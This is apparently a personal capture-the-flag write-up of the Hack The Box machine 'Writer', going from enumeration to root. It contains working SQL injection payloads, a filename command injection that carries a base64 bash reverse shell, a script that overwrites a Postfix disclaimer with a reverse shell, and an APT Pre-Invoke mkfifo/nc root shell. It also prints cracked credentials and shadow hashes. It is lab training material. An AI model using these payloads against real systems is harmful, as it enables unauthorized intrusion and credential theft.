Writer - Hack The Box

September 14, 2021

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USER

Step 1

Standard enum with nmap, dirb, nikto, ffuf, smbclient and rpcclient.

nmap:

$ nmap -Pn -n -sCV 10.10.11.101
  PORT    STATE SERVICE     VERSION
  22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey:
  |   3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)
  |   256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)
  |_  256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
  80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
  |_http-server-header: Apache/2.4.41 (Ubuntu)
  |_http-title: Story Bank | Writer.HTB
  139/tcp open  netbios-ssn Samba smbd 4.6.2
  445/tcp open  netbios-ssn Samba smbd 4.6.2
  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

  Host script results:
  |_clock-skew: 1m50s
  |_nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
  | smb2-security-mode:
  |   2.02:
  |_    Message signing enabled but not required
  | smb2-time:
  |   date: 2021-09-09T11:21:07
  |_  start_date: N/A

DIRB:

+ http://10.10.11.101/about (CODE:200|SIZE:3522)
+ http://10.10.11.101/contact (CODE:200|SIZE:4905)
+ http://10.10.11.101/dashboard (CODE:302|SIZE:208)
+ http://10.10.11.101/logout (CODE:302|SIZE:208)
+ http://10.10.11.101/server-status (CODE:403|SIZE:277)
==> DIRECTORY: http://10.10.11.101/static/

FFUF:

+ administrative          [Status: 200, Size: 1443, Words: 185, Lines: 35]

NIKTO:

+ Server: Apache/2.4.41 (Ubuntu)

SMBCLIENT:

$ smbclient -L 10.10.11.101
Enter WORKGROUP\voids password:

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	writer2_project Disk
	IPC$            IPC       IPC Service (writer server (Samba, Ubuntu))

RPCCLIENT:

$ rpcclient -U "" -N 10.10.11.101                                                                            130 ⨯
rpcclient $> enumdomusers
  user:[kyle] rid:[0x3e8]
rpcclient $> enumdomains
  name:[WRITER] idx:[0x0]
rpcclient $> queryuser kyle
	User Name   :	kyle
	Full Name   :	Kyle Travis
	Home Drive  :	\\writer\kyle
	Dir Drive   :
	Profile Path:	\\writer\kyle\profile
	Logon Script:
	Description :
	Workstations:
	Comment     :
	Remote Dial :
	Logon Time               :	Thu, 01 Jan 1970 01:00:00 CET
	Logoff Time              :	Wed, 06 Feb 2036 16:06:39 CET
	Kickoff Time             :	Wed, 06 Feb 2036 16:06:39 CET
	Password last set Time   :	Tue, 18 May 2021 19:03:35 CEST
	Password can change Time :	Tue, 18 May 2021 19:03:35 CEST
	Password must change Time:	Thu, 14 Sep 30828 04:48:05 CEST
	unknown_2[0..31]...
	user_rid :	0x3e8
	group_rid:	0x201
	acb_info :	0x00000010
	fields_present:	0x00ffffff
	logon_divs:	168
	bad_password_count:	0x00000000
	logon_count:	0x00000000
	padding1[0..7]...
	logon_hrs[0..21]...

Step 2

The login formula at http://writer.htb/administrative is vulnerable to SQL injection and can be bypassed by entering “admin’– -“ as user, with any password. The admin dashboard have an interesting upload function but after playing around with it for a few hours I decide to move on and go back to the vulnerable login function.

Play around with Burp repeater with the goal to extract sensitive database information.

REQUEST 1:

POST /administrative HTTP/1.1
 Host: 10.10.11.101
 ..
 uname=admin%27 union all select 1,@@version,3,4,5,6;-&password=123

RESPONSE 1:

10.3.29-MariaDB-0ubuntu0.20.04.1

POLLING DB WRITER:

REQUEST 2:

uname=admin%27 union all select 1,concat(0x2c,table_name),3,4,5,6 FROM information_schema.TABLES WHERE table_schema='writer';-&password=123

RESPONSE 2:

site,stories,users

REQUEST 3:

uname=admin%27 union all select 1,concat(username,0x3a,password),3,4,5,6 from users;-&password=123

RESPONSE 3:

admin:118e48794631a9612484ca8b55f622d0

POLLING DB INFORMATION_SCHEMA:

REQUEST 4:

uname=admin%27 union all select 1,concat(table_name,0x2c),3,4,5,6 from information_schema.tables;-&password=123

RESPONSE 4:

ALL_PLUGINS,APPLICABLE_ROLES,CHARACTER_SETS,CHECK_CONSTRAINTS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENABLED_ROLES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_CACHES,KEY_COLUMN_USAGE,PARAMETERS,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,SYSTEM_VARIABLES,TABLES,TABLESPACES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,GEOMETRY_COLUMNS,SPATIAL_REF_SYS,CLIENT_STATISTICS,INDEX_STATISTICS,INNODB_SYS_DATAFILES,USER_STATISTICS,INNODB_SYS_TABLESTATS,INNODB_LOCKS,INNODB_MUTEXES,INNODB_CMPMEM,INNODB_CMP_PER_INDEX,INNODB_CMP,INNODB_FT_DELETED,INNODB_CMP_RESET,INNODB_LOCK_WAITS,TABLE_STATISTICS,INNODB_TABLESPACES_ENCRYPTION,INNODB_BUFFER_PAGE_LRU,INNODB_SYS_FIELDS,INNODB_CMPMEM_RESET,INNODB_SYS_COLUMNS,INNODB_FT_INDEX_TABLE,INNODB_CMP_PER_INDEX_RESET,user_variables,INNODB_FT_INDEX_CACHE,INNODB_SYS_FOREIGN_COLS,INNODB_FT_BEING_DELETED,INNODB_BUFFER_POOL_STATS,INNODB_TRX,INNODB_SYS_FOREIGN,INNODB_SYS_TABLES,INNODB_FT_DEFAULT_STOPWORD,INNODB_FT_CONFIG,INNODB_BUFFER_PAGE,INNODB_SYS_TABLESPACES,INNODB_METRICS,INNODB_SYS_INDEXES,INNODB_SYS_VIRTUAL,INNODB_TABLESPACES_SCRUBBING,INNODB_SYS_SEMAPHORE_WAITS,site,stories,users,

At the end we see table users, lets extract columns from it.

REQUEST 5:

uname=admin%27 union all select 1,concat(column_name,0x2c),3,4,5,6 from information_schema.columns where table_name='users';-&password=123

RESPONSE 5:

id,username,password,email,status,date_created,

REQUEST 6:

uname=admin%27 union all select 1,concat(username,0x3a,password),3,4,5,6 from information_schema.users;-&password=123

RESPONSE 6:

Incorrect creds.

Unfortunately we are not able to get any credentials from the writer database, however we were able to get the information_schema admin credentials in request 3.

Step 3

We can’t crack the admin-hash using hashcat and rockyou.txt, nor is the hash in crackstation.org. Playing around further with SQLi we are able to read files (LFI) using load_file.

REQUEST 7:

uname=admin%27 union all select 1,load_file('/etc/passwd'),3,4,5,6;--&password=123

RESPONSE 7:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
kyle:x:1000:1000:Kyle Travis:/home/kyle:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
postfix:x:113:118::/var/spool/postfix:/usr/sbin/nologin
filter:x:997:997:Postfix Filters:/var/spool/filter:/bin/sh
john:x:1001:1001:,,,:/home/john:/bin/bash
mysql:x:114:120:MySQL Server,,,:/nonexistent:/bin/false

At this point I’m pretty stumped and unsure what to look for, so to simplify things I sent the SQL Injection to Burp Intruder and fired it up using a LFI-list. From the output we found etc/apache2/sites-enabled/000-default.conf which gave us additional clues.

REQUEST 8:

uname=admin%27 union all select 1,load_file('%2fetc%2fapache2%2fsites-enabled%2f000-default%2econf'),3,4,5,6;--&password=123

RESPONSE 8:

# Virtual host configuration for writer.htb domain
&lt;VirtualHost *:80&gt;
        ServerName writer.htb
        ServerAdmin admin@writer.htb
        WSGIScriptAlias / /var/www/writer.htb/writer.wsgi
        &lt;Directory /var/www/writer.htb&gt;
                Order allow,deny
                Allow from all
        &lt;/Directory&gt;
        Alias /static /var/www/writer.htb/writer/static
        &lt;Directory /var/www/writer.htb/writer/static/&gt;
                Order allow,deny
                Allow from all
        &lt;/Directory&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log
        LogLevel warn
        CustomLog ${APACHE_LOG_DIR}/access.log combined
&lt;/VirtualHost&gt;

# Virtual host configuration for dev.writer.htb subdomain
# Will enable configuration after completing backend development
# Listen 8080
#&lt;VirtualHost 127.0.0.1:8080&gt;
#	ServerName dev.writer.htb
#	ServerAdmin admin@writer.htb
#
# Collect static for the writer2_project/writer_web/templates
#	Alias /static /var/www/writer2_project/static

We find the absolute path of the web server: /var/www/writer.htb
A new interesting file: /var/www/writer.htb/writer.wsgi
Can from the output we can assume that SMB and the dir writer2_project is a rabbit hole

If we look on the file /var/www/writer.htb/writer.wsgi it will point us towards a new file, /var/www/writer.htb/writer/__init__.py. Investigating the file we find that all uploaded images are moved using a vulnerable os.system function:

os.system("mv {} {}.jpg".format(local_filename, local_filename))

Step 4

Exploit the file upload POST form image_url to get a reverse shell.

Base64 encode a bash reverse shell

$ echo -n '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.2/4488 0>&1"' | base64
  L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMi80NDg4IDA+JjEi

Add the exploit code to a .jpg image

$ touch 'skull.jpg; `echo L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMi80NDg4IDA+JjEi|base64 -d | bash`;'

Upload the exploited .jpg image and capture the POST in Burp

Since we know the absolute path of the file, execute the malicious code under the image_url POST form:

Content-Disposition: form-data; name="image_url"
file:///var/www/writer.htb/writer/static/img/skull.jpg; `echo L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMi80NDg4IDA+JjEi|base64 -d | bash`;

Capture the incoming request

$ nc -lvnp 4488
 listening on [any] 4488 ...
 connect to [10.10.14.2] from (UNKNOWN) [10.10.11.101] 56014
 bash: cannot set terminal process group (1023): Inappropriate ioctl for device
 bash: no job control in this shell
 www-data@writer:/$

Step 5

As www-data we are not able to grab user.txt yet. Use linpeas to find a way to pivot to user kyle or john.

www-data@writer:/dev/shm$ linpeas.sh
	..
	Analyzing MariaDB Files (limit 70)
	-rw-r--r-- 1 root root 972 May 19 12:34 /etc/mysql/mariadb.cnf
	[client-server]
	!includedir /etc/mysql/conf.d/
	!includedir /etc/mysql/mariadb.conf.d/
	[client]
	database = dev
	user = djangouser
	password = DjangoSuperPassword
	default-character-set = utf8

www-data@writer:/home/kyle$ mysql -u djangouser -p
	MariaDB [dev]> show databases;
	+--------------------+
	| Database           |
	+--------------------+
	| dev                |
	| information_schema |
	+--------------------+
	2 rows in set (0.000 sec)

	MariaDB [dev]> show tables;
	+----------------------------+
	| Tables_in_dev              |
	+----------------------------+
	| auth_group                 |
	| auth_group_permissions     |
	| auth_permission            |
	| auth_user                  |
	| auth_user_groups           |
	| auth_user_user_permissions |
	| django_admin_log           |
	| django_content_type        |
	| django_migrations          |
	| django_session             |
	+----------------------------+
	10 rows in set (0.000 sec)

	MariaDB [dev]> SELECT * from auth_user;
	+----+------------------------------------------------------------------------------------------+------------+--------------+----------+------------+-----------+-----------------+----------+-----------+----------------------------+
	| id | password                                                                                 | last_login | is_superuser | username | first_name | last_name | email           | is_staff | is_active | date_joined                |
	+----+------------------------------------------------------------------------------------------+------------+--------------+----------+------------+-----------+-----------------+----------+-----------+----------------------------+
	|  1 | pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A= | NULL       |            1 | kyle     |            |           | kyle@writer.htb |        1 |         1 | 2021-05-19 12:41:37.168368 |
	+----+------------------------------------------------------------------------------------------+------------+--------------+----------+------------+-----------+-----------------+----------+-----------+----------------------------+
	1 row in set (0.001 sec)

Looking through hashcat example hashes it seems to be a Django (m10000) hash, which makes sense.

void@void:~/Documents$ hashcat -a0 -m10000 hash.txt /usr/share/wordlists/rockyou.txt
  ..
  pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=:marcoantonio

  Session..........: hashcat
  Status...........: Cracked
  Hash.Type........: Django (PBKDF2-SHA256)
  Hash.Target......: pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8...uXM4A=

Step 6

$ ssh kyle@writer.htb
kyle@writer:~$ id && hostname
  uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),997(filter),1002(smbgroup)
  writer
kyle@writer:~$ cat user.txt
  b20af09f4741426d488658c2d7319527

ROOT

Step 1

As usual check sudo -l, which is not available for user kyle. Running linpeas we find a few interesting things:

Users with console:
filter:x:997:997:Postfix Filters:/var/spool/filter:/bin/sh
john:x:1001:1001:,,,:/home/john:/bin/bash
kyle:x:1000:1000:Kyle Travis:/home/kyle:/bin/bash

User Groups:
uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),997(filter),1002(smbgroup)
uid=1001(john) gid=1001(john) groups=1001(john),1003(management)
uid=997(filter) gid=997(filter) groups=997(filter)

User kyle is in group filter, and filter is in control of postfix. Linpeas also shows us that /etc/postfix/master.cf is present and contains scripts to be executed, hinting that this should probably be used to pivot or get root access.

-rw-r--r-- 1 root root 6373 Sep 10 13:18 /etc/postfix/master.cf
  flags=DRhu user=vmail argv=/usr/bin/maildrop -d ${recipient}
#  user=cyrus argv=/cyrus/bin/deliver -e -r ${sender} -m ${extension} ${user}
#  flags=R user=cyrus argv=/cyrus/bin/deliver -e -m ${extension} ${user}
  flags=Fqhu user=uucp argv=uux -r -n -z -a$sender - $nexthop!rmail ($recipient)
  flags=F user=ftn argv=/usr/lib/ifmail/ifmail -r $nexthop ($recipient)
  flags=Fq. user=bsmtp argv=/usr/lib/bsmtp/bsmtp -t$nexthop -f$sender $recipient
  flags=R user=scalemail argv=/usr/lib/scalemail/bin/scalemail-store ${nexthop} ${user} ${extension}
  flags=FR user=list argv=/usr/lib/mailman/bin/postfix-to-mailman.py
  flags=Rq user=john argv=/etc/postfix/disclaimer -f ${sender} -- ${recipient}

Analyzing the last line means /etc/postfix/disclaimer will be executed if a new mail is received from user john.

kyle@writer:/etc/postfix$ ls -al | grep discl
  -rwxrwxr-x   1 root filter  1022 Sep 10 13:44 disclaimer

The disclaimer-file is owned by group filter, meaning kyle should be able to modify it - making it possible to inject a shell to be executed when triggered.

Step 2

Edit disclaimer and change to #!/bin/bash, and paste a (bash) reverse shell. Send a mail with netcat and wait for shell. Ideally this should be scripted with python or at the very least bash.

kyle@writer:/etc/postfix$ vim disclaimer
kyle@writer:/etc/postfix$ nc localhost 25
  220 writer.htb ESMTP Postfix (Ubuntu)
  HELO writer.htb
    250 writer.htb
  MAIL FROM:<kyle@writer.htb>
    250 2.1.0 Ok
  RCPT TO:<kyle@writer.htb>
    250 2.1.5 Ok
  DATA
    354 End data with <CR><LF>.<CR><LF>
  Subject: Hack Tack!
  .
    250 2.0.0 Ok: queued as 9FF0C802

┌──(void㉿kali)-[~/Documents]
└─$ nc -lvnp 4488
  listening on [any] 4488 ...
  connect to [10.10.14.2] from (UNKNOWN) [10.10.11.101] 33778
  bash: cannot set terminal process group (371156): Inappropriate ioctl for device
  bash: no job control in this shell
  john@writer:/var/spool/postfix$ id
    uid=1001(john) gid=1001(john) groups=1001(john)

Here’s a quick and dirty bash script I made to automate the process:

kyle@writer:/dev/shm$ cat noob.sh 
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.2/4488 0>&1' > /etc/postfix/disclaimer
sleep 1
(	echo 'HELO writer.htb'
	sleep 1
	echo 'MAIL FROM:<kyle@writer.htb>'
	sleep 1
	echo 'RCPT TO:<kyle@writer.htb>'
	sleep 1
	echo 'DATA'
	sleep 1
	echo 'Subject: Plz give revshell'
	sleep 1
	echo 'Hello Mr.\nPlease give me a reverse shell.\n\nBest wishes,\nP3'
	echo .
	echo QUIT ) | nc -v localhost 25

Not sure how and why this gave us a shell for user john, when I sent the mail to and from kyle. Reading on hacktricks we have the following example:

For example the line flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} means that /etc/postfix/filtering will be executed if a new mail is received by the user mark

With this logic we recipient should be john, in order to spawn the new shell. But maybe it’s just that the script is triggered by user john?

Step 3

Get persistence as John and grab his private key, relogin.

┌──(void㉿void)-[/git/htb/writer]
└─$ ssh john@writer.htb -i john-id_rsa
john@writer:~$ id
uid=1001(john) gid=1001(john) groups=1001(john),1003(management)

Since john is in group management I assume the privesc has something to do with that. Start to look for files and directories owned by group management.

john@writer:/dev/shm$ find / -type f -group management 2>/dev/null
john@writer:/dev/shm$ find / -type d -group management 2>/dev/null
/etc/apt/apt.conf.d

We (management) own apt.conf.d meaning we can abuse cron job to get a root shell. Looking through the running processes with pspy64 we can see that /usr/bin/apt-get update is executed frequently. We can exploit this by creating our own malicious file inside apt.conf.d to be executed along with apt-get update.

john@writer:/dev/shm$ ./pspy64
..
2021/09/14 08:26:01 CMD: UID=0    PID=250774 | /usr/bin/find /etc/apt/apt.conf.d/ -mtime -1 -exec rm {} ; 
2021/09/14 08:26:01 CMD: UID=0    PID=250777 | /usr/sbin/CRON -f 
2021/09/14 08:26:01 CMD: UID=0    PID=250776 | /usr/sbin/CRON -f 
2021/09/14 08:26:01 CMD: UID=0    PID=250779 | /usr/sbin/CRON -f 
2021/09/14 08:26:01 CMD: UID=0    PID=250780 | /usr/bin/apt-get update 
2021/09/14 08:26:01 CMD: UID=0    PID=250781 | /usr/bin/apt-get update 
2021/09/14 08:26:01 CMD: UID=0    PID=250784 | /bin/sh -c /usr/bin/cp /root/.scripts/master.cf /etc/postfix/master.cf 
2021/09/14 08:26:01 CMD: UID=0    PID=250783 | /usr/bin/cp -r /root/.scripts/writer2_project /var/www/ 
2021/09/14 08:26:01 CMD: UID=0    PID=250782 | /bin/sh -c /usr/bin/cp -r /root/.scripts/writer2_project /var/www/ 
2021/09/14 08:26:01 CMD: UID=0    PID=250785 | /usr/lib/apt/methods/http 
2021/09/14 08:26:01 CMD: UID=0    PID=250786 | /usr/bin/apt-get update 
2021/09/14 08:26:01 CMD: UID=33   PID=250787 | /usr/bin/python3 manage.py runserver 127.0.0.1:8080 

john@writer:/etc/apt/apt.conf.d$ cat 15update-stamp 
APT::Update::Post-Invoke-Success {"touch /var/lib/apt/periodic/update-success-stamp 2>/dev/null || true";};
john@writer:/etc/apt/apt.conf.d$ echo 'APT::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 4488 >/tmp/f";};' > pwn

Wait a few seconds and we’ll get a root shell.

┌──(void㉿void)-[~/Documents/scanners/linux]
└─$ nc -lvnp 4488                                                                                                                 1 ⨯
listening on [any] 4488 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.101] 52798
/bin/sh: 0: can't access tty; job control turned off
# id && hostname
uid=0(root) gid=0(root) groups=0(root)
writer
# cat /root/root.txt
f77d661fda2c7db3f5e3f04f17a64490

# cat /etc/shadow
root:$6$gev1Op0YfgboE7iR$iMNbP.8qic/SzTr4atxwLbkI7nScyZWJPbTgoXAlEz5Hcw3Ntget9j3p.iccPcw5Jl4dj4bHWZ5LvoLLNC8iB.:18816:0:99999:7:::
kyle:$6$Rke6Q45ycHoY4Ubp$5mG3iCMK/tnLRjVXQupFh0IJAz7TcBrLJl8DZqOnboZMnOaHTM3lOxacYj3zVcR1MJ8EeSZxuAdETDlldpw7p1:18765:0:99999:7:::
john:$6$jnLfY8nfX7rgN0kn$gy5CL/IZikTiLcBZVHVEu5Kl/imxKmSvooN1JjohPjVLIygTts8HNaLRAEr7zoaCk7/pb9jzKBbgBSEdxwknj0:18761:0:99999:7:::
mysql:!:18762:0:99999:7:::

REFERENSES

SQL Injection:

https://medium.com/@Kan1shka9/pentesterlab-from-sql-injection-to-shell-walkthrough-7b70cd540bc8
https://asdqw3.medium.com/remote-image-upload-leads-to-rce-inject-malicious-code-to-php-gd-image-90e1e8b2aada

Postfix:

https://book.hacktricks.xyz/pentesting/pentesting-smtp#postfix

APT Reverse Shell:

https://www.hackingarticles.in/linux-for-pentester-apt-privilege-escalation/

0xPThree

Writer - Hack The Box

USER

Step 1

Step 2

POLLING DB WRITER:

POLLING DB INFORMATION_SCHEMA:

Step 3

Step 4

Step 5

Step 6

ROOT

Step 1

Step 2

Step 3

REFERENSES

0xPThree